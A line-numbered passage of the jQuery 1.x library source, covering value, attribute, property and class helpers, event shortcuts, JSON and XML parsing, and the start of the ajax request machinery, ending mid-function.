4950 jQuery.fn.delay = function(time, type) {
4951 time = jQuery.fx ? jQuery.fx.speeds[time] || time : time;
4952 type = type || "fx";
4953 return this.queue(type, function(next, hooks) {
4954 var timeout = setTimeout(next, time);
4955 hooks.stop = function() {
4956 clearTimeout(timeout)
4957 }
4958 })
4959 };
4960 (function() {
4961 var input, div, select, a, opt;
4962 div = document.createElement("div");
4963 div.setAttribute("className", "t");
4964 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
4965 a = div.getElementsByTagName("a")[0];
4966 select = document.createElement("select");
4967 opt = select.appendChild(document.createElement("option"));
4968 input = div.getElementsByTagName("input")[0];
4969 a.style.cssText = "top:1px";
4970 support.getSetAttribute = div.className !== "t";
4971 support.style = /top/.test(a.getAttribute("style"));
4972 support.hrefNormalized = a.getAttribute("href") === "/a";
4973 support.checkOn = !!input.value;
4974 support.optSelected = opt.selected;
4975 support.enctype = !!document.createElement("form").enctype;
4976 select.disabled = true;
4977 support.optDisabled = !opt.disabled;
4978 input = document.createElement("input");
4979 input.setAttribute("value", "");
4980 support.input = input.getAttribute("value") === "";
4981 input.value = "t";
4982 input.setAttribute("type", "radio");
4983 support.radioValue = input.value === "t"
4984 })();
4985 var rreturn = /\r/g;
4986 jQuery.fn.extend({
4987 val: function(value) {
4988 var hooks, ret, isFunction, elem = this[0];
4989 if (!arguments.length) {
4990 if (elem) {
4991 hooks = jQuery.valHooks[elem.type] || jQuery.valHooks[elem.nodeName.toLowerCase()];
4992 if (hooks && "get" in hooks && (ret = hooks.get(elem, "value")) !== undefined) {
4993 return ret
4994 }
4995 ret = elem.value;
4996 return typeof ret === "string" ? ret.replace(rreturn, "") : ret == null ? "" : ret
4997 }
4998 return
4999 }
5000 isFunction = jQuery.isFunction(value);
5001 return this.each(function(i) {
5002 var val;
5003 if (this.nodeType !== 1) {
5004 return
5005 }
5006 if (isFunction) {
5007 val = value.call(this, i, jQuery(this).val())
5008 } else {
5009 val = value
5010 }
5011 if (val == null) {
5012 val = ""
5013 } else if (typeof val === "number") {
5014 val += ""
5015 } else if (jQuery.isArray(val)) {
5016 val = jQuery.map(val, function(value) {
5017 return value == null ? "" : value + ""
5018 })
5019 }
5020 hooks = jQuery.valHooks[this.type] || jQuery.valHooks[this.nodeName.toLowerCase()];
5021 if (!hooks || !("set" in hooks) || hooks.set(this, val, "value") === undefined) {
5022 this.value = val
5023 }
5024 })
5025 }
5026 });
5027 jQuery.extend({
5028 valHooks: {
5029 option: {
5030 get: function(elem) {
5031 var val = jQuery.find.attr(elem, "value");
5032 return val != null ? val : jQuery.trim(jQuery.text(elem))
5033 }
5034 },
5035 select: {
5036 get: function(elem) {
5037 var value, option, options = elem.options,
5038 index = elem.selectedIndex,
5039 one = elem.type === "select-one" || index < 0,
5040 values = one ? null : [],
5041 max = one ? index + 1 : options.length,
5042 i = index < 0 ? max : one ? index : 0;
5043 for (; i < max; i++) {
5044 option = options[i];
5045 if ((option.selected || i === index) && (support.optDisabled ? !option.disabled : option.getAttribute("disabled") === null) && (!option.parentNode.disabled || !jQuery.nodeName(option.parentNode, "optgroup"))) {
5046 value = jQuery(option).val();
5047 if (one) {
5048 return value
5049 }
5050 values.push(value)
5051 }
5052 }
5053 return values
5054 },
5055 set: function(elem, value) {
5056 var optionSet, option, options = elem.options,
5057 values = jQuery.makeArray(value),
5058 i = options.length;
5059 while (i--) {
5060 option = options[i];
5061 if (jQuery.inArray(jQuery.valHooks.option.get(option), values) >= 0) {
5062 try {
5063 option.selected = optionSet = true
5064 } catch (_) {
5065 option.scrollHeight
5066 }
5067 } else {
5068 option.selected = false
5069 }
5070 }
5071 if (!optionSet) {
5072 elem.selectedIndex = -1
5073 }
5074 return options
5075 }
5076 }
5077 }
5078 });
5079 jQuery.each(["radio", "checkbox"], function() {
5080 jQuery.valHooks[this] = {
5081 set: function(elem, value) {
5082 if (jQuery.isArray(value)) {
5083 return (elem.checked = jQuery.inArray(jQuery(elem).val(), value) >= 0)
5084 }
5085 }
5086 };
5087 if (!support.checkOn) {
5088 jQuery.valHooks[this].get = function(elem) {
5089 return elem.getAttribute("value") === null ? "on" : elem.value
5090 }
5091 }
5092 });
5093 var nodeHook, boolHook, attrHandle = jQuery.expr.attrHandle,
5094 ruseDefault = /^(?:checked|selected)$/i,
5095 getSetAttribute = support.getSetAttribute,
5096 getSetInput = support.input;
5097 jQuery.fn.extend({
5098 attr: function(name, value) {
5099 return access(this, jQuery.attr, name, value, arguments.length > 1)
5100 },
5101 removeAttr: function(name) {
5102 return this.each(function() {
5103 jQuery.removeAttr(this, name)
5104 })
5105 }
5106 });
5107 jQuery.extend({
5108 attr: function(elem, name, value) {
5109 var hooks, ret, nType = elem.nodeType;
5110 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5111 return
5112 }
5113 if (typeof elem.getAttribute === strundefined) {
5114 return jQuery.prop(elem, name, value)
5115 }
5116 if (nType !== 1 || !jQuery.isXMLDoc(elem)) {
5117 name = name.toLowerCase();
5118 hooks = jQuery.attrHooks[name] || (jQuery.expr.match.bool.test(name) ? boolHook : nodeHook)
5119 }
5120 if (value !== undefined) {
5121 if (value === null) {
5122 jQuery.removeAttr(elem, name)
5123 } else if (hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined) {
5124 return ret
5125 } else {
5126 elem.setAttribute(name, value + "");
5127 return value
5128 }
5129 } else if (hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null) {
5130 return ret
5131 } else {
5132 ret = jQuery.find.attr(elem, name);
5133 return ret == null ? undefined : ret
5134 }
5135 },
5136 removeAttr: function(elem, value) {
5137 var name, propName, i = 0,
5138 attrNames = value && value.match(rnotwhite);
5139 if (attrNames && elem.nodeType === 1) {
5140 while ((name = attrNames[i++])) {
5141 propName = jQuery.propFix[name] || name;
5142 if (jQuery.expr.match.bool.test(name)) {
5143 if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5144 elem[propName] = false
5145 } else {
5146 elem[jQuery.camelCase("default-" + name)] = elem[propName] = false
5147 }
5148 } else {
5149 jQuery.attr(elem, name, "")
5150 }
5151 elem.removeAttribute(getSetAttribute ? name : propName)
5152 }
5153 }
5154 },
5155 attrHooks: {
5156 type: {
5157 set: function(elem, value) {
5158 if (!support.radioValue && value === "radio" && jQuery.nodeName(elem, "input")) {
5159 var val = elem.value;
5160 elem.setAttribute("type", value);
5161 if (val) {
5162 elem.value = val
5163 }
5164 return value
5165 }
5166 }
5167 }
5168 }
5169 });
5170 boolHook = {
5171 set: function(elem, value, name) {
5172 if (value === false) {
5173 jQuery.removeAttr(elem, name)
5174 } else if (getSetInput && getSetAttribute || !ruseDefault.test(name)) {
5175 elem.setAttribute(!getSetAttribute && jQuery.propFix[name] || name, name)
5176 } else {
5177 elem[jQuery.camelCase("default-" + name)] = elem[name] = true
5178 }
5179 return name
5180 }
5181 };
5182 jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g), function(i, name) {
5183 var getter = attrHandle[name] || jQuery.find.attr;
5184 attrHandle[name] = getSetInput && getSetAttribute || !ruseDefault.test(name) ? function(elem, name, isXML) {
5185 var ret, handle;
5186 if (!isXML) {
5187 handle = attrHandle[name];
5188 attrHandle[name] = ret;
5189 ret = getter(elem, name, isXML) != null ? name.toLowerCase() : null;
5190 attrHandle[name] = handle
5191 }
5192 return ret
5193 } : function(elem, name, isXML) {
5194 if (!isXML) {
5195 return elem[jQuery.camelCase("default-" + name)] ? name.toLowerCase() : null
5196 }
5197 }
5198 });
5199 if (!getSetInput || !getSetAttribute) {
5200 jQuery.attrHooks.value = {
5201 set: function(elem, value, name) {
5202 if (jQuery.nodeName(elem, "input")) {
5203 elem.defaultValue = value
5204 } else {
5205 return nodeHook && nodeHook.set(elem, value, name)
5206 }
5207 }
5208 }
5209 }
5210 if (!getSetAttribute) {
5211 nodeHook = {
5212 set: function(elem, value, name) {
5213 var ret = elem.getAttributeNode(name);
5214 if (!ret) {
5215 elem.setAttributeNode((ret = elem.ownerDocument.createAttribute(name)))
5216 }
5217 ret.value = value += "";
5218 if (name === "value" || value === elem.getAttribute(name)) {
5219 return value
5220 }
5221 }
5222 };
5223 attrHandle.id = attrHandle.name = attrHandle.coords = function(elem, name, isXML) {
5224 var ret;
5225 if (!isXML) {
5226 return (ret = elem.getAttributeNode(name)) && ret.value !== "" ? ret.value : null
5227 }
5228 };
5229 jQuery.valHooks.button = {
5230 get: function(elem, name) {
5231 var ret = elem.getAttributeNode(name);
5232 if (ret && ret.specified) {
5233 return ret.value
5234 }
5235 },
5236 set: nodeHook.set
5237 };
5238 jQuery.attrHooks.contenteditable = {
5239 set: function(elem, value, name) {
5240 nodeHook.set(elem, value === "" ? false : value, name)
5241 }
5242 };
5243 jQuery.each(["width", "height"], function(i, name) {
5244 jQuery.attrHooks[name] = {
5245 set: function(elem, value) {
5246 if (value === "") {
5247 elem.setAttribute(name, "auto");
5248 return value
5249 }
5250 }
5251 }
5252 })
5253 }
5254 if (!support.style) {
5255 jQuery.attrHooks.style = {
5256 get: function(elem) {
5257 return elem.style.cssText || undefined
5258 },
5259 set: function(elem, value) {
5260 return (elem.style.cssText = value + "")
5261 }
5262 }
5263 }
5264 var rfocusable = /^(?:input|select|textarea|button|object)$/i,
5265 rclickable = /^(?:a|area)$/i;
5266 jQuery.fn.extend({
5267 prop: function(name, value) {
5268 return access(this, jQuery.prop, name, value, arguments.length > 1)
5269 },
5270 removeProp: function(name) {
5271 name = jQuery.propFix[name] || name;
5272 return this.each(function() {
5273 try {
5274 this[name] = undefined;
5275 delete this[name]
5276 } catch (e) {}
5277 })
5278 }
5279 });
5280 jQuery.extend({
5281 propFix: {
5282 "for": "htmlFor",
5283 "class": "className"
5284 },
5285 prop: function(elem, name, value) {
5286 var ret, hooks, notxml, nType = elem.nodeType;
5287 if (!elem || nType === 3 || nType === 8 || nType === 2) {
5288 return
5289 }
5290 notxml = nType !== 1 || !jQuery.isXMLDoc(elem);
5291 if (notxml) {
5292 name = jQuery.propFix[name] || name;
5293 hooks = jQuery.propHooks[name]
5294 }
5295 if (value !== undefined) {
5296 return hooks && "set" in hooks && (ret = hooks.set(elem, value, name)) !== undefined ? ret : (elem[name] = value)
5297 } else {
5298 return hooks && "get" in hooks && (ret = hooks.get(elem, name)) !== null ? ret : elem[name]
5299 }
5300 },
5301 propHooks: {
5302 tabIndex: {
5303 get: function(elem) {
5304 var tabindex = jQuery.find.attr(elem, "tabindex");
5305 return tabindex ? parseInt(tabindex, 10) : rfocusable.test(elem.nodeName) || rclickable.test(elem.nodeName) && elem.href ? 0 : -1
5306 }
5307 }
5308 }
5309 });
5310 if (!support.hrefNormalized) {
5311 jQuery.each(["href", "src"], function(i, name) {
5312 jQuery.propHooks[name] = {
5313 get: function(elem) {
5314 return elem.getAttribute(name, 4)
5315 }
5316 }
5317 })
5318 }
5319 if (!support.optSelected) {
5320 jQuery.propHooks.selected = {
5321 get: function(elem) {
5322 var parent = elem.parentNode;
5323 if (parent) {
5324 parent.selectedIndex;
5325 if (parent.parentNode) {
5326 parent.parentNode.selectedIndex
5327 }
5328 }
5329 return null
5330 }
5331 }
5332 }
5333 jQuery.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() {
5334 jQuery.propFix[this.toLowerCase()] = this
5335 });
5336 if (!support.enctype) {
5337 jQuery.propFix.enctype = "encoding"
5338 }
5339 var rclass = /[\t\r\n\f]/g;
5340 jQuery.fn.extend({
5341 addClass: function(value) {
5342 var classes, elem, cur, clazz, j, finalValue, i = 0,
5343 len = this.length,
5344 proceed = typeof value === "string" && value;
5345 if (jQuery.isFunction(value)) {
5346 return this.each(function(j) {
5347 jQuery(this).addClass(value.call(this, j, this.className))
5348 })
5349 }
5350 if (proceed) {
5351 classes = (value || "").match(rnotwhite) || [];
5352 for (; i < len; i++) {
5353 elem = this[i];
5354 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : " ");
5355 if (cur) {
5356 j = 0;
5357 while ((clazz = classes[j++])) {
5358 if (cur.indexOf(" " + clazz + " ") < 0) {
5359 cur += clazz + " "
5360 }
5361 }
5362 finalValue = jQuery.trim(cur);
5363 if (elem.className !== finalValue) {
5364 elem.className = finalValue
5365 }
5366 }
5367 }
5368 }
5369 return this
5370 },
5371 removeClass: function(value) {
5372 var classes, elem, cur, clazz, j, finalValue, i = 0,
5373 len = this.length,
5374 proceed = arguments.length === 0 || typeof value === "string" && value;
5375 if (jQuery.isFunction(value)) {
5376 return this.each(function(j) {
5377 jQuery(this).removeClass(value.call(this, j, this.className))
5378 })
5379 }
5380 if (proceed) {
5381 classes = (value || "").match(rnotwhite) || [];
5382 for (; i < len; i++) {
5383 elem = this[i];
5384 cur = elem.nodeType === 1 && (elem.className ? (" " + elem.className + " ").replace(rclass, " ") : "");
5385 if (cur) {
5386 j = 0;
5387 while ((clazz = classes[j++])) {
5388 while (cur.indexOf(" " + clazz + " ") >= 0) {
5389 cur = cur.replace(" " + clazz + " ", " ")
5390 }
5391 }
5392 finalValue = value ? jQuery.trim(cur) : "";
5393 if (elem.className !== finalValue) {
5394 elem.className = finalValue
5395 }
5396 }
5397 }
5398 }
5399 return this
5400 },
5401 toggleClass: function(value, stateVal) {
5402 var type = typeof value;
5403 if (typeof stateVal === "boolean" && type === "string") {
5404 return stateVal ? this.addClass(value) : this.removeClass(value)
5405 }
5406 if (jQuery.isFunction(value)) {
5407 return this.each(function(i) {
5408 jQuery(this).toggleClass(value.call(this, i, this.className, stateVal), stateVal)
5409 })
5410 }
5411 return this.each(function() {
5412 if (type === "string") {
5413 var className, i = 0,
5414 self = jQuery(this),
5415 classNames = value.match(rnotwhite) || [];
5416 while ((className = classNames[i++])) {
5417 if (self.hasClass(className)) {
5418 self.removeClass(className)
5419 } else {
5420 self.addClass(className)
5421 }
5422 }
5423 } else if (type === strundefined || type === "boolean") {
5424 if (this.className) {
5425 jQuery._data(this, "__className__", this.className)
5426 }
5427 this.className = this.className || value === false ? "" : jQuery._data(this, "__className__") || ""
5428 }
5429 })
5430 },
5431 hasClass: function(selector) {
5432 var className = " " + selector + " ",
5433 i = 0,
5434 l = this.length;
5435 for (; i < l; i++) {
5436 if (this[i].nodeType === 1 && (" " + this[i].className + " ").replace(rclass, " ").indexOf(className) >= 0) {
5437 return true
5438 }
5439 }
5440 return false
5441 }
5442 });
5443 jQuery.each(("blur focus focusin focusout load resize scroll unload click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup error contextmenu").split(" "), function(i, name) {
5444 jQuery.fn[name] = function(data, fn) {
5445 return arguments.length > 0 ? this.on(name, null, data, fn) : this.trigger(name)
5446 }
5447 });
5448 jQuery.fn.extend({
5449 hover: function(fnOver, fnOut) {
5450 return this.mouseenter(fnOver).mouseleave(fnOut || fnOver)
5451 },
5452 bind: function(types, data, fn) {
5453 return this.on(types, null, data, fn)
5454 },
5455 unbind: function(types, fn) {
5456 return this.off(types, null, fn)
5457 },
5458 delegate: function(selector, types, data, fn) {
5459 return this.on(types, selector, data, fn)
5460 },
5461 undelegate: function(selector, types, fn) {
5462 return arguments.length === 1 ? this.off(selector, "**") : this.off(types, selector || "**", fn)
5463 }
5464 });
5465 var nonce = jQuery.now();
5466 var rquery = (/\?/);
5467 var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g;
5468 jQuery.parseJSON = function(data) {
5469 if (window.JSON && window.JSON.parse) {
5470 return window.JSON.parse(data + "")
5471 }
5472 var requireNonComma, depth = null,
5473 str = jQuery.trim(data + "");
5474 return str && !jQuery.trim(str.replace(rvalidtokens, function(token, comma, open, close) {
5475 if (requireNonComma && comma) {
5476 depth = 0
5477 }
5478 if (depth === 0) {
5479 return token
5480 }
5481 requireNonComma = open || comma;
5482 depth += !close - !open;
5483 return ""
5484 })) ? (Function("return " + str))() : jQuery.error("Invalid JSON: " + data)
5485 };
5486 jQuery.parseXML = function(data) {
5487 var xml, tmp;
5488 if (!data || typeof data !== "string") {
5489 return null
5490 }
5491 try {
5492 if (window.DOMParser) {
5493 tmp = new DOMParser();
5494 xml = tmp.parseFromString(data, "text/xml")
5495 } else {
5496 xml = new ActiveXObject("Microsoft.XMLDOM");
5497 xml.async = "false";
5498 xml.loadXML(data)
5499 }
5500 } catch (e) {
5501 xml = undefined
5502 }
5503 if (!xml || !xml.documentElement || xml.getElementsByTagName("parsererror").length) {
5504 jQuery.error("Invalid XML: " + data)
5505 }
5506 return xml
5507 };
5508 var ajaxLocParts, ajaxLocation, rhash = /#.*$/,
5509 rts = /([?&])_=[^&]*/,
5510 rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg,
5511 rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
5512 rnoContent = /^(?:GET|HEAD)$/,
5513 rprotocol = /^\/\//,
5514 rurl = /^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,
5515 prefilters = {},
5516 transports = {},
5517 allTypes = "*/".concat("*");
5518 try {
5519 ajaxLocation = location.href
5520 } catch (e) {
5521 ajaxLocation = document.createElement("a");
5522 ajaxLocation.href = "";
5523 ajaxLocation = ajaxLocation.href
5524 }
5525 ajaxLocParts = rurl.exec(ajaxLocation.toLowerCase()) || [];
5526
5527 function addToPrefiltersOrTransports(structure) {
5528 return function(dataTypeExpression, func) {
5529 if (typeof dataTypeExpression !== "string") {
5530 func = dataTypeExpression;
5531 dataTypeExpression = "*"
5532 }
5533 var dataType, i = 0,
5534 dataTypes = dataTypeExpression.toLowerCase().match(rnotwhite) || [];
5535 if (jQuery.isFunction(func)) {
5536 while ((dataType = dataTypes[i++])) {
5537 if (dataType.charAt(0) === "+") {
5538 dataType = dataType.slice(1) || "*";
5539 (structure[dataType] = structure[dataType] || []).unshift(func)
5540 } else {
5541 (structure[dataType] = structure[dataType] || []).push(func)
5542 }
5543 }
5544 }
5545 }
5546 }
5547
5548 function inspectPrefiltersOrTransports(structure, options, originalOptions, jqXHR) {
5549 var inspected = {},
5550 seekingTransport = (structure === transports);
5551
5552 function inspect(dataType) {
5553 var selected;
5554 inspected[dataType] = true;
5555 jQuery.each(structure[dataType] || [], function(_, prefilterOrFactory) {
5556 var dataTypeOrTransport = prefilterOrFactory(options, originalOptions, jqXHR);
5557 if (typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[dataTypeOrTransport]) {
5558 options.dataTypes.unshift(dataTypeOrTransport);
5559 inspect(dataTypeOrTransport);
5560 return false
5561 } else if (seekingTransport) {
5562 return !(selected = dataTypeOrTransport)
5563 }
5564 });
5565 return selected
5566 }
5567 return inspect(options.dataTypes[0]) || !inspected["*"] && inspect("*")
5568 }
5569
5570 function ajaxExtend(target, src) {
5571 var deep, key, flatOptions = jQuery.ajaxSettings.flatOptions || {};
5572 for (key in src) {
5573 if (src[key] !== undefined) {
5574 (flatOptions[key] ? target : (deep || (deep = {})))[key] = src[key]
5575 }
5576 }
5577 if (deep) {
5578 jQuery.extend(true, target, deep)
5579 }
5580 return target
5581 }
5582
5583 function ajaxHandleResponses(s, jqXHR, responses) {
5584 var firstDataType, ct, finalDataType, type, contents = s.contents,
5585 dataTypes = s.dataTypes;
5586 while (dataTypes[0] === "*") {
5587 dataTypes.shift();
5588 if (ct === undefined) {
5589 ct = s.mimeType || jqXHR.getResponseHeader("Content-Type")
5590 }
5591 }
5592 if (ct) {
5593 for (type in contents) {
5594 if (contents[type] && contents[type].test(ct)) {
5595 dataTypes.unshift(type);
5596 break
5597 }
5598 }
5599 }
5600 if (dataTypes[0] in responses) {
5601 finalDataType = dataTypes[0]
5602 } else {
5603 for (type in responses) {
5604 if (!dataTypes[0] || s.converters[type + " " + dataTypes[0]]) {
5605 finalDataType = type;
5606 break
5607 }
5608 if (!firstDataType) {
5609 firstDataType = type
5610 }
5611 }
5612 finalDataType = finalDataType || firstDataType
5613 }
5614 if (finalDataType) {
5615 if (finalDataType !== dataTypes[0]) {
5616 dataTypes.unshift(finalDataType)
5617 }
5618 return responses[finalDataType]
5619 }
5620 }
5621
5622 function ajaxConvert(s, response, jqXHR, isSuccess) {
5623 var conv2, current, conv, tmp, prev, converters = {},
5624 dataTypes = s.dataTypes.slice();
5625 if (dataTypes[1]) {
5626 for (conv in s.converters) {
5627 converters[conv.toLowerCase()] = s.converters[conv]
5628 }
5629 }
5630 current = dataTypes.shift();
5631 while (current) {
5632 if (s.responseFields[current]) {
5633 jqXHR[s.responseFields[current]] = response
5634 }
5635 if (!prev && isSuccess && s.dataFilter) {
5636 response = s.dataFilter(response, s.dataType)
5637 }
5638 prev = current;
5639 current = dataTypes.shift();
5640 if (current) {
5641 if (current === "*") {
5642 current = prev
5643 } else if (prev !== "*" && prev !== current) {
5644 conv = converters[prev + " " + current] || converters["* " + current];
5645 if (!conv) {
5646 for (conv2 in converters) {
5647 tmp = conv2.split(" ");
5648 if (tmp[1] === current) {
5649 conv = converters[prev + " " + tmp[0]] || converters["* " + tmp[0]];
5650 if (conv) {
5651 if (conv === true) {
5652 conv = converters[conv2]
5653 } else if (converters[conv2] !== true) {
5654 current = tmp[0];
5655 dataTypes.unshift(tmp[1])
5656 }
5657 break
5658 }
5659 }
5660 }
5661 }
5662 if (conv !== true) {
5663 if (conv && s["throws"]) {
5664 response = conv(response)
5665 } else {
5666 try {
5667 response = conv(response)
5668 } catch (e) {
5669 return {
5670 state: "parsererror",
5671 error: conv ? e : "No conversion from " + prev + " to " + current
5672 }
5673 }
5674 }
5675 }
5676 }
5677 }
5678 }
5679 return {
5680 state: "success",
5681 data: response
5682 }
5683 }
5684 jQuery.extend({
5685 active: 0,
5686 lastModified: {},
5687 etag: {},
5688 ajaxSettings: {
5689 url: ajaxLocation,
5690 type: "GET",
5691 isLocal: rlocalProtocol.test(ajaxLocParts[1]),
5692 global: true,
5693 processData: true,
5694 async: true,
5695 contentType: "application/x-www-form-urlencoded; charset=UTF-8",
5696 accepts: {
5697 "*": allTypes,
5698 text: "text/plain",
5699 html: "text/html",
5700 xml: "application/xml, text/xml",
5701 json: "application/json, text/javascript"
5702 },
5703 contents: {
5704 xml: /xml/,
5705 html: /html/,
5706 json: /json/
5707 },
5708 responseFields: {
5709 xml: "responseXML",
5710 text: "responseText",
5711 json: "responseJSON"
5712 },
5713 converters: {
5714 "* text": String,
5715 "text html": true,
5716 "text json": jQuery.parseJSON,
5717 "text xml": jQuery.parseXML
5718 },
5719 flatOptions: {
5720 url: true,
5721 context: true
5722 }
5723 },
5724 ajaxSetup: function(target, settings) {
5725 return settings ? ajaxExtend(ajaxExtend(target, jQuery.ajaxSettings), settings) : ajaxExtend(jQuery.ajaxSettings, target)
5726 },
5727 ajaxPrefilter: addToPrefiltersOrTransports(prefilters),
5728 ajaxTransport: addToPrefiltersOrTransports(transports),
5729 ajax: function(url, options) {
5730 if (typeof url === "object") {
5731 options = url;
5732 url = undefined
5733 }
5734 options = options || {};
5735 var parts, i, cacheURL, responseHeadersString, timeoutTimer, fireGlobals, transport, responseHeaders, s = jQuery.ajaxSetup({}, options),
5736 callbackContext = s.context || s,
5737 globalEventContext = s.context && (callbackContext.nodeType || callbackContext.jquery) ? jQuery(callbackContext) : jQuery.event,
5738 deferred = jQuery.Deferred(),
5739 completeDeferred = jQuery.Callbacks("once memory"),
5740 statusCode = s.statusCode || {},
5741 requestHeaders = {},
5742 requestHeadersNames = {},
5743 state = 0,
5744 strAbort = "canceled",
5745 jqXHR = {
5746 readyState: 0,
5747 getResponseHeader: function(key) {
5748 var match;
5749 if (state === 2) {
5750 if (!responseHeaders) {
5751 responseHeaders = {};
5752 while ((match = rheaders.exec(responseHeadersString))) {
5753 responseHeaders[match[1].toLowerCase()] = match[2]
5754 }
5755 }
5756 match = responseHeaders[key.toLowerCase()]
5757 }
5758 return match == null ? null : match
5759 },
5760 getAllResponseHeaders: function() {
5761 return state === 2 ? responseHeadersString : null
5762 },
5763 setRequestHeader: function(name, value) {
5764 var lname = name.toLowerCase();
5765 if (!state) {
5766 name = requestHeadersNames[lname] = requestHeadersNames[lname] || name;
5767 requestHeaders[name] = value
5768 }
5769 return this
5770 },
5771 overrideMimeType: function(type) {
5772 if (!state) {
5773 s.mimeType = type
5774 }
5775 return this
5776 },
5777 statusCode: function(map) {
5778 var code;
5779 if (map) {
5780 if (state < 2) {
5781 for (code in map) {
5782 statusCode[code] = [statusCode[code], map[code]]
5783 }
5784 } else {
5785 jqXHR.always(map[jqXHR.status])
5786 }
5787 }
5788 return this
5789 },
5790 abort: function(statusText) {
5791 var finalText = statusText || strAbort;
5792 if (transport) {
5793 transport.abort(finalText)
5794 }
5795 done(0, finalText);
5796 return this
5797 }
5798 };
5799 deferred.promise(jqXHR).complete = completeDeferred.add;
5800 jqXHR.success = jqXHR.done;
5801 jqXHR.error = jqXHR.fail;
5802 s.url = ((url || s.url || ajaxLocation) + "").replace(rhash, "").replace(rprotocol, ajaxLocParts[1] + "//");
5803 s.type = options.method || options.type || s.method || s.type;
5804 s.dataTypes = jQuery.trim(s.dataType || "*").toLowerCase().match(rnotwhite) || [""];
5805 if (s.crossDomain == null) {
5806 parts = rurl.exec(s.url.toLowerCase());
5807 s.crossDomain = !!(parts && (parts[1] !== ajaxLocParts[1] || parts[2] !== ajaxLocParts[2] || (parts[3] || (parts[1] === "http:" ? "80" : "443")) !== (ajaxLocParts[3] || (ajaxLocParts[1] === "http:" ? "80" : "443"))))
5808 }
5809 if (s.data && s.processData && typeof s.data !== "string") {
5810 s.data = jQuery.param(s.data, s.traditional)
5811 }
5812 inspectPrefiltersOrTransports(prefilters, s, options, jqXHR);
5813 if (state === 2) {
5814 return jqXHR
5815 }
5816 fireGlobals = jQuery.event && s.global;
5817 if (fireGlobals && jQuery.active++ === 0) {
5818 jQuery.event.trigger("ajaxStart")
5819 }
5820 s.type = s.type.toUpperCase();
5821 s.hasContent = !rnoContent.test(s.type);
5822 cacheURL = s.url;
5823 if (!s.hasContent) {
5824 if (s.data) {
5825 cacheURL = (s.url += (rquery.test(cacheURL) ? "&" : "?") + s.data);
5826 delete s.data
5827 }
5828 if (s.cache === false) {
5829 s.url = rts.test(cacheURL) ? cacheURL.replace(rts, "$1_=" + nonce++) : cacheURL + (rquery.test(cacheURL) ? "&" : "?") + "_=" + nonce++
5830 }
5831 }
5832 if (s.ifModified) {
5833 if (jQuery.lastModified[cacheURL]) {
5834 jqXHR.setRequestHeader("If-Modified-Since", jQuery.lastModified[cacheURL])
5835 }
5836 if (jQuery.etag[cacheURL]) {
5837 jqXHR.setRequestHeader("If-None-Match", jQuery.etag[cacheURL])
5838 }
5839 }
5840 if (s.data && s.hasContent && s.contentType !== false || options.contentType) {
5841 jqXHR.setRequestHeader("Content-Type", s.contentType)
5842 }
5843 jqXHR.setRequestHeader("Accept", s.dataTypes[0] && s.accepts[s.dataTypes[0]] ? s.accepts[s.dataTypes[0]] + (s.dataTypes[0] !== "*" ? ", " + allTypes + "; q=0.01" : "") : s.accepts["*"]);
5844 for (i in s.headers) {
5845 jqXHR.setRequestHeader(i, s.headers[i])
5846 }
5847 if (s.beforeSend && (s.beforeSend.call(callbackContext, jqXHR, s) === false || state === 2)) {
5848 return jqXHR.abort()
5849 }
5850 strAbort = "abort";
5851 for (i in {
5852 success: 1,
5853 error: 1,
5854 complete: 1
5855 }) {
5856 jqXHR[i](s[i])
5857 }
5858 transport = inspectPrefiltersOrTransports(transports, s, options, jqXHR);
5859 if (!transport) {
5860 done(-1, "No Transport")
5861 } else {
5862 jqXHR.readyState = 1;
5863 if (fireGlobals) {
5864 globalEventContext.trigger("ajaxSend", [jqXHR, s])
5865 }
5866 if (s.async && s.timeout > 0) {
5867 timeoutTimer = setTimeout(function() {
5868 jqXHR.abort("timeout")
5869 }, s.timeout)
5870 }
5871 try {
5872 state = 1;
5873 transport.send(requestHeaders, done)
5874 } catch (e) {
5875 if (state < 2) {
5876 done(-1, e)
5877 } else {
5878 throw e;
5879 }
5880 }
5881 }
5882
5883 function done(status, nativeStatusText, responses, headers) {
5884 var isSuccess, success, error, response, modified, statusText = nativeStatusText;
5885 if (state === 2) {
5886 return
5887 }
5888 state = 2;
5889 if (timeoutTimer) {
5890 clearTimeout(timeoutTimer)
5891 }
5892 transport = undefined;
5893 responseHeadersString = headers || "";
5894 jqXHR.readyState = status > 0 ? 4 : 0;
5895 isSuccess = status >= 200 && status < 300 || status === 304;
5896 if (responses) {
5897 response = ajaxHandleResponses(s, jqXHR, responses)
5898 }
5899 response = ajaxConvert(s, response, jqXHR, isSuccess);
5900 if (isSuccess) {
5901 if (s.ifModified) {
5902 modified = jqXHR.getResponseHeader("Last-Modified");
5903 if (modified) {
5904 jQuery.lastModified[cacheURL] = modified
5905 }
5906 modified = jqXHR.getResponseHeader("etag");
5907 if (modified) {
5908 jQuery.etag[cacheURL] = modified
5909 }
5910 }
5911 if (status === 204 || s.type === "HEAD") {
5912 statusText = "nocontent"
5913 } else if (status === 304) {
5914 statusText = "notmodified"
5915 } else {
5916 statusText = response.state;
5917 success = response.data;
5918 error = response.error;
5919 isSuccess = !error
5920 }
5921 } else {
5922 error = statusText;
5923 if (status || !statusText) {
5924 statusText = "error";
5925 if (status < 0) {
5926 status = 0
5927 }
5928 }
5929 }
5930 jqXHR.status = status;
5931 jqXHR.statusText = (nativeStatusText || statusText) + "";
5932 if (isSuccess) {
